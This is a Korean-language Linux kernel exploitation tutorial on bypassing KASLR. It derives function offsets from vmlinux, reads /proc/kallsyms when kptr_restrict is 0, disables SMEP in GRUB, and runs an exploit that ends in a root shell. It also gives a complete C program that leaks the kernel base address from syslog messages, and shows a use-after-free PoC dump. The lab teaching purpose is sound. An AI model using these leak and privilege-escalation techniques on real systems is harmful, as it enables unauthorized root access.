...
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~$ readelf -s /usr/lib/debug/boot/vmlinux-4.4.0-31-generic |grep prepare_kernel_cred 92759: 00000000f1f7ede6 0 NOTYPE GLOBAL DEFAULT ABS __crc_prepare_kernel_cred 97668: ffffffff810a2890 86 FUNC GLOBAL DEFAULT 1 prepare_kernel_cred lazenca0x0@ubuntu:~$ |
offset값을 계산하기 위해 프로그램 코드 명령어가 저장되어 있는 .text 섹션의 시작 주소가 필요합니다.
readelf 명령어를 이용하여 .text 영역의 시작 주소(0xffffffff81000000)를 확인 합니다.
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~$ readelf -S /usr/lib/debug/boot/vmlinux-4.4.0-31-generic There are 76 section headers, starting at offset 0x186adba8: Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align [ 0] NULL 0000000000000000 00000000 0000000000000000 0000000000000000 0 0 0 [ 1] .text PROGBITS ffffffff81000000 00200000 00000000008329c6 0000000000000000 AX 0 0 4096 [ 2] .rela.text RELA 0000000000000000 0b236e38 00000000006133b0 0000000000000018 I 74 1 8 [ 3] .notes NOTE ffffffff818329c8 00a329c8 0000000000000204 0000000000000000 AX 0 0 4 [ 4] .rela.notes RELA 0000000000000000 0b84a1e8 0000000000000030 0000000000000018 I 74 3 8 [ 5] __ex_table PROGBITS ffffffff81832bd0 00a32bd0 00000000000020c8 0000000000000000 A 0 0 8 [ 6] .rela__ex_table RELA 0000000000000000 0b84a218 000000000000c4b0 0000000000000018 I 74 5 8 [ 7] .rodata PROGBITS ffffffff81a00000 00c00000 00000000003700a2 0000000000000000 A 0 0 64 [ 8] .rela.rodata RELA 0000000000000000 0b8566c8 00000000002c7dc8 0000000000000018 I 74 7 8 ... [73] .shstrtab STRTAB 0000000000000000 186ad918 000000000000028f 0000000000000000 0 0 1 [74] .symtab SYMTAB 0000000000000000 0add78a0 00000000002647e0 0000000000000018 75 66628 8 [75] .strtab STRTAB 0000000000000000 0b03c080 00000000001fadb7 0000000000000000 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings), l (large) I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown) O (extra OS processing required) o (OS specific), p (processor specific) lazenca0x0@ubuntu:~$ |
이렇게 수집된 정보들을 이용하여 다음과같이 다음과 같이 커널 함수의 offset 값을 얻을 수 있습니다.
prepare_kernel_cred 함수의 주소(0xffffffff810a2890) - .text 섹션의 시작 주소(0xffffffff81000000) = 0xa2890
...
- 공격자는 시스템의 설정에 따라 "/proc/kallsyms" 파일을 통해 커널 함수의 주소를 확인할 수 있습니다.
- 해당 파일에는 다양한 커널 기능 장치 간의 협력을 보다 쉽게하기 위해 수천 개의 전역 심볼이 기록되어 관리되고 있습니다.
- 그리고 02.Debugging kernel and modules - Kernel Address Display Restriction(KADR)에서 설명 했지만, Kernel Address Display Restriction(KADR)이 비활성화 되어 있으면 일반 계정으로도 /proc/kallsyms 파일을 이용하여 심볼의 주소 정보를 확인할 수 있습니다.
- 다음과 같이 kernel.kptr_restrict 설정값에 설정 값(1)에 의해 일반 계정으로는 "/proc/kallsyms" 파일에서 심볼의 주소 정보를 확인할 수 없습니다.
...
- KASLR이 적용되어 있고 kernel.kptr_restrict 설정값이 0인 환경에서 "/proc/kallsyms"파일을 이용해 공격해보겠습니다.
- 해당 테스트를 위해 02.Stack smashing(64bit) & Return-to-user(ret2usr)에서 사용한 커널 모듈과 exploit code를 사용합니다.
- 우선 테스트를 위해 다음과 같이 커널의 설정을 변경합니다.
- "/etc/default/grub" 파일의 "GRUB_CMDLINE_LINUX_DEFAULT" 영역에 아래 명령들을 추가합니다.
- SMEP 비활성화 : nosmep
- KASLR 활성화 : kaslr
- "/etc/default/grub" 파일의 "GRUB_CMDLINE_LINUX_DEFAULT" 영역에 아래 명령들을 추가합니다.
Code Block | ||
---|---|---|
| ||
# If you change this file, run 'update-grub' afterwards to update # /boot/grub/grub.cfg. # For full documentation of the options in this file, see: # info -f grub -n 'Simple configuration' GRUB_DEFAULT=0 GRUB_HIDDEN_TIMEOUT=0 GRUB_HIDDEN_TIMEOUT_QUIET=true GRUB_TIMEOUT=10 GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian` GRUB_CMDLINE_LINUX_DEFAULT="quiet nosmep kaslr" GRUB_CMDLINE_LINUX="find_preseed=/preseed.cfg auto noprompt priority=critical locale=en_US" # Uncomment to enable BadRAM filtering, modify to suit your needs # This works with Linux (no patch required) and with any kernel that obtains # the memory map information from GRUB (GNU Mach, kernel of FreeBSD ...) #GRUB_BADRAM="0x01234567,0xfefefefe,0x89abcdef,0xefefefef" # Uncomment to disable graphical terminal (grub-pc only) #GRUB_TERMINAL=console # The resolution used on graphical terminal # note that you can use only modes which your graphic card supports via VBE # you can see them in real GRUB with the command `vbeinfo' #GRUB_GFXMODE=640x480 # Uncomment if you don't want GRUB to pass "root=UUID=xxx" parameter to Linux #GRUB_DISABLE_LINUX_UUID=true # Uncomment to disable generation of recovery mode menu entries #GRUB_DISABLE_RECOVERY="true" # Uncomment to get a beep at grub start #GRUB_INIT_TUNE="480 440 1" |
...
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~$ sudo update-grub Generating grub configuration file ... Warning: Setting GRUB_TIMEOUT to a non-zero value when GRUB_HIDDEN_TIMEOUT is set is no longer supported. Found linux image: /boot/vmlinuz-4.4.0-31-generic Found initrd image: /boot/initrd.img-4.4.0-31-generic Found memtest86+ image: /boot/memtest86+.elf Found memtest86+ image: /boot/memtest86+.bin done lazenca0x0@ubuntu:~$ reboot |
- 다음과 같이 취약서이 존재하는 커널 모듈을 등록하고 Exploit code를 실행하면, KASLR이 설정된 환경에서도 root권한을 획득할 수 있습니다.
- 권한 획득이 가능한 이유는 kernel이유는 kernel.kptr_restrict 설정값이 0이었기 때문에 일반권한으로 실행된 프로그램이 "/proc/kallsyms" 파일에서 exploit에 필요한 커널 함수의 주소 정보를 확인할 수 있었기 때문입니다.
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Exploit/ss$ sudo insmod ./chardev.ko lazenca0x0@ubuntu:~/Exploit/ss$ sudo chmod 666 /dev/chardev0 lazenca0x0@ubuntu:~/Exploit/ss$ ./exploit commit_creds address is :0xffffffff9f0a24a0 prepare_kernel_cred address is :0xffffffff9f0a2890 53 41 57 20 43 54 46 20 63 68 61 6c 6c 65 6e 67 | SAW CTF challeng 65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21 | e. Best of luck! 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | f7 ce 78 4c 00 00 00 00 a0 2c 6c 00 00 00 00 00 | ��xL�,l # id uid=0(root) gid=0(root) groups=0(root) # |
Address leak of the kernel using Syslog.
Ubuntu trusty 4.4.0-* 와 Ubuntu xenial 4-8-0-* 커널들의 경우 Syslog를 통해 Kernel 메모리 주소를 확인 할 수 있습니다.
커널에는 부팅될 때만 사용하는 함수와 변수들이 있으며, 이러한 함수와 변수는 부팅 이후 커널이 동작하는 동안에는 필요치 않기 때문에 커널의 부팅이 끝날 때 init 쓰레드가 실행되는 과정에서 free_initmem() 함수를 통해 해제됩니다.
- 이러한 과정에서 다음과 같은 메시지가 출력되며, 해당 메시지에서 커널의 주소를 확인할 수 있습니다.
[ 1.003469] Freeing unused kernel memory: 1480K (ffffffff90f42000 - ffffffff910b4000)
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Exploit$ dmesg |grep "Freeing unused" [ 1.075925] Freeing unused kernel memory: 1480K (ffffffffa9f42000 - ffffffffaa0b4000) [ 1.076181] Freeing unused kernel memory: 1836K (ffff880029835000 - ffff880029a00000) [ 1.076435] Freeing unused kernel memory: 156K (ffff880029dd9000 - ffff880029e00000) lazenca0x0@ubuntu:~/Exploit$ |
syslog를 통해 얻은 커널의 주소를 활용하기 위해 다음과 같이 offset 값을 알아야합니다.
/proc/kallsyms 파일을 이용하여 커널의 기본주소를 확인합니다.
prepare_kernel_cred 함수의 주소(0xffffffffa90a2890) - prepare_kernel_cred 함수의 offset 값(0xa2890) = 커널의 기본주소 (0xffffffffa9000000)
syslog를 통해 얻은 커널의 주소(0xffffffffaa0b4000) - 커널의 기본주소 (0xffffffffa9000000) = offset 값(0x10b4000)
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Exploit$ sudo cat /proc/kallsyms |grep prepare_kernel_cred [sudo] password for lazenca0x0: ffffffffa90a2890 T prepare_kernel_cred ffffffffa9d881d0 R __ksymtab_prepare_kernel_cred ffffffffa9da35b0 r __kcrctab_prepare_kernel_cred ffffffffa9db01e7 r __kstrtab_prepare_kernel_cred lazenca0x0@ubuntu:~/Exploit$ gdb -q gdb-peda$ p 0xffffffffa90a2890 - 0xa2890 $1 = 0xffffffffa9000000 gdb-peda$ p 0xffffffffaa0b4000 - 0xffffffffa9000000 $2 = 0x10b4000 gdb-peda$ |
다음과 같이 syslog를 이용하여 커널의 기본 주소를 확인할 수 있습니다.
syslog를 통해 얻은 커널의 주소(0xffffffffb30b4000) - offset 값(0x10b4000) = 커널의 기본주소 (0xffffffffb2000000)
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~$ dmesg |grep "Freeing unused" [ 1.279612] Freeing unused kernel memory: 1480K (ffffffffb2f42000 - ffffffffb30b4000) [ 1.279850] Freeing unused kernel memory: 1836K (ffff880032835000 - ffff880032a00000) [ 1.280087] Freeing unused kernel memory: 156K (ffff880032dd9000 - ffff880032e00000) lazenca0x0@ubuntu:~$ gdb -q gdb-peda$ p 0xffffffffb30b4000 - 0x10b4000 $1 = 0xffffffffb2000000 gdb-peda$ |
- 다음과 같이 코드를 작성하여 조금더 쉽게 커널의 기본 주소를 확인 할 수 있습니다.
- get_syslog() 함수를 이용하여 커널 코드의 내용을 읽어 메모리에 저장합니다.
- klogctl() 함수를 이용하여 커널 로그 버터의 총 크기를 확인합니다.
- mmap() 함수를 이용하여 커널 로그를 저장할 메모리 영역을 할당합니다.
- klogctl() 함수를 이용하여 ring buffer에 남아있는 모든 메시지를 읽어서 buffer 영역에 저장합니다.
- get_kernel_addr() 함수를 이용하여 syslog에서 커널의 주소를 찾고, 해당 주소를 이용하여 커널의 기본주소를 계산하여 리턴합니다.
- memmem() 함수를 이용하여 커널 로그에서 "Freeing unused kernel memory"를 찾아서 문자열의 시작 부분에 대한 포인터를 substr변수에 저장합니다.
- strchr(), strrchr() 함수를 이용하여 커널 기본 주소를 계산할 때 사용할 커널 주소 값의 시작과 끝의 위치 값을 확인합니다.
- memmem() 함수를 이용하여 substr 영역에서 "ffffffff"를 찾아서 문자열의 시작 부분에 대한 포인터를 substr변수에 저장합니다.
- strtoul() 함수를 이용하여 커널 함수의 주소 값만을 문자열에서 숫자로 변환하여, addr 변수에 저장합니다.
- get_syslog() 함수를 이용하여 커널 코드의 내용을 읽어 메모리에 저장합니다.
Code Block | ||||
---|---|---|---|---|
| ||||
#define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/klog.h> #include <sys/mman.h> #define SYSLOG_ACTION_READ_ALL 3 #define SYSLOG_ACTION_SIZE_BUFFER 10 void get_syslog(char **buffer, int *size){ *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); if(*size == -1){ perror("Error"); } int pagesize = getpagesize(); *size = (*size / pagesize + 1) * pagesize; *buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); *size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size); if (*size == -1) { perror("Error"); } } unsigned long get_kernel_addr (char *buffer, int size){ const char *needle = "Freeing unused kernel memory"; char* substr = (char*)memmem(&buffer[0], size, needle, strlen(needle)); if (substr == NULL) { printf("%s not found\n", needle); } int start = 0; int end = 0; start = strchr(substr,'-') - substr; end = strrchr(substr,'\n') - substr; const char *needle2 = "ffffffff"; substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); if (substr == NULL) { fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2); exit(EXIT_FAILURE); } char *endptr = &substr[16]; unsigned long addr = strtoul(&substr[0], &endptr, 16); addr -= 0x10b4000ul; return addr; } void main(){ char *syslog; int size; get_syslog(&syslog, &size); unsigned long is_kernel_base_addr = get_kernel_addr(syslog, size); printf("The base address of the kernel is '0x%lx'\n", is_kernel_base_addr); } |
- 다음과 같이 프로그램을 통해 간단히 커널의 기본주소를 확인할 수 있습니다.
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Exploit$ gcc -o addr addr.c lazenca0x0@ubuntu:~/Exploit$ ./addr The base address of the kernel is '0xffffffffa9000000' lazenca0x0@ubuntu:~/Exploit$ |
- 하지만 이러한 취약성은 Ubuntu bionic 5.0.0 에서 수정되었습니다.
Code Block | ||
---|---|---|
| ||
... [ 2.590928] rtc_cmos 00:01: setting system clock to 2019-09-26 09:46:58 UTC (1569491218) [ 2.702268] Freeing unused kernel image memory: 2456K [ 2.716264] Write protecting the kernel read-only data: 20480k [ 2.717033] Freeing unused kernel image memory: 2008K [ 2.717427] Freeing unused kernel image memory: 1900K [ 2.724026] x86/mm: Checked W+X mappings: passed, no W+X pages found. ... |
...
Address leak of the kernel using vulnerability.
다음과 같이 취약성을 통해 Kernel 주소 정보를 얻을 수 있습니다.
설명을 위해 07.Use-After-Free(UAF) (feat.tty_struct)에서 사용한 커널 모듈 및 PoC코드을 이용하겠습니다.
커널 모듈을 등록하고 PoC-3 파일을 실행하면, 취약성에 의해 메모리에 저장된 데이터가 출력됩니다.
출력된 데이터 중에서 2번째 줄에 "c0 2c a7 a0 ff ff ff ff"이라는 데이터가 존재합니다
- 이 데이터를 커널 주소의 형태로 변경하면 0xffffffff87a72cc0이가 되고, 이 값은 커널 영역의 주소입니다.
공격자는 이 주소(0xffffffff87a72cc0)를 이용하여 커널의 기본 주소를 계산할 수 있습니다.
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Exploit/uaf$ sudo rmmod chardev lazenca0x0@ubuntu:~/Exploit/uaf$ sudo insmod ./chardev.ko lazenca0x0@ubuntu:~/Exploit/uaf$ sudo chmod 666 /dev/chardev0 lazenca0x0@ubuntu:~/Exploit/uaf$ ./PoC-3 01 54 00 00 01 00 00 00 00 00 00 00 00 00 00 00 | T 00 be 00 35 00 88 ff ff c0 2c a7 87 ff ff ff ff | �5����,������ 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 38 28 cd 38 00 88 ff ff | 8(�8��� 38 28 cd 38 00 88 ff ff 48 28 cd 38 00 88 ff ff | 8(�8���H(�8��� 48 28 cd 38 00 88 ff ff 30 90 8b 39 00 88 ff ff | H(�8���0��9��� 01 00 00 00 00 00 00 00 68 28 cd 38 00 88 ff ff | h(�8��� 68 28 cd 38 00 88 ff ff 00 00 00 00 00 00 00 00 | h(�8��� 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 | 90 28 cd 38 00 88 ff ff 90 28 cd 38 00 88 ff ff | �(�8����(�8��� 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 01 00 00 00 00 00 00 00 b8 28 cd 38 00 88 ff ff | �(�8��� b8 28 cd 38 00 88 ff ff 00 00 00 00 00 00 00 00 | �(�8��� 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | e0 28 cd 38 00 88 ff ff e0 28 cd 38 00 88 ff ff | �(�8����(�8��� 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 01 00 00 00 00 00 00 00 08 29 cd 38 00 88 ff ff | )�8��� 08 29 cd 38 00 88 ff ff 00 00 00 00 00 00 00 00 |)�8��� 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 bf 00 00 00 00 00 00 00 | � 00 03 1c 7f 15 04 00 01 00 11 13 1a 00 12 0f 17 | 16 00 00 00 00 96 00 00 00 96 00 00 00 00 00 00 | �� 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 70 74 6d 34 00 00 00 00 00 00 00 00 00 00 00 00 | ptm4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 01 08 01 00 00 00 00 00 01 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 a0 d2 39 00 88 ff ff | ��9��� 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 38 2a cd 38 00 88 ff ff | 8*�8��� 38 2a cd 38 00 88 ff ff 00 00 00 00 00 00 00 00 | 8*�8��� 50 2a cd 38 00 88 ff ff 50 2a cd 38 00 88 ff ff | P*�8���P*�8��� e0 ff ff ff 0f 00 00 00 68 2a cd 38 00 88 ff ff | ����h*�8��� 68 2a cd 38 00 88 ff ff 50 96 4e 87 ff ff ff ff | h*�8���P�N����� 00 c0 36 00 00 c9 ff ff 98 5c 57 3b 00 88 ff ff | �6����\W;��� d0 6b 1f 30 00 88 ff ff d0 6b 1f 30 00 88 ff ff | �k0����k0��� 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 e0 ff ff ff 0f 00 00 00 | ���� c0 2a cd 38 00 88 ff ff c0 2a cd 38 00 88 ff ff | �*�8����*�8��� d0 b6 4e 87 ff ff ff ff 00 12 6d 32 00 88 ff 00 | жN�����m2�� lazenca0x0@ubuntu:~/Exploit/uaf$ |
- 커널의 기본 주소를 얻기 위해서는 취약성으로 통해 유출된 주소가 커널의 기본주소와 얼마나 떨어져 있는지 offset값을 알아야 합니다.
- offset 값을 확인하기 위해 우선 커널의 기본주소를 알아야 합니다.
- prepare_kernel_cred(0xffffffff870a2890) - 커널의 기본주소로 부터 prepare_kernel_cred 함수 까지의 offset(0xa2890) = 0xffffffff87000000
- 이렇게 알게 된 커널의 기본 주소를 이용하여 유출된 주소가 커널의 기본 주소로 부터 얼마나 떨어져 있는지 알 수 있습니다.
- 취약성을 통해 유출된 커널의 주소(0xffffffff87a72cc0) - 커널의 기본 주소(0xffffffff87000000) = 0xa72cc0
- offset 값을 확인하기 위해 우선 커널의 기본주소를 알아야 합니다.
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Exploit/uaf$ sudo cat /proc/kallsyms |grep prepare_kernel_cred ffffffff870a2890 T prepare_kernel_cred ffffffff87d881d0 R __ksymtab_prepare_kernel_cred ffffffff87da35b0 r __kcrctab_prepare_kernel_cred ffffffff87db01e7 r __kstrtab_prepare_kernel_cred lazenca0x0@ubuntu:~/Exploit/uaf$ gdb -q gdb-peda$ p 0xffffffff870a2890 - 0xa2890 $1 = 0xffffffff87000000 gdb-peda$ p 0xffffffff87a72cc0 - 0xffffffff87000000 $2 = 0xa72cc0 gdb-peda$ |
...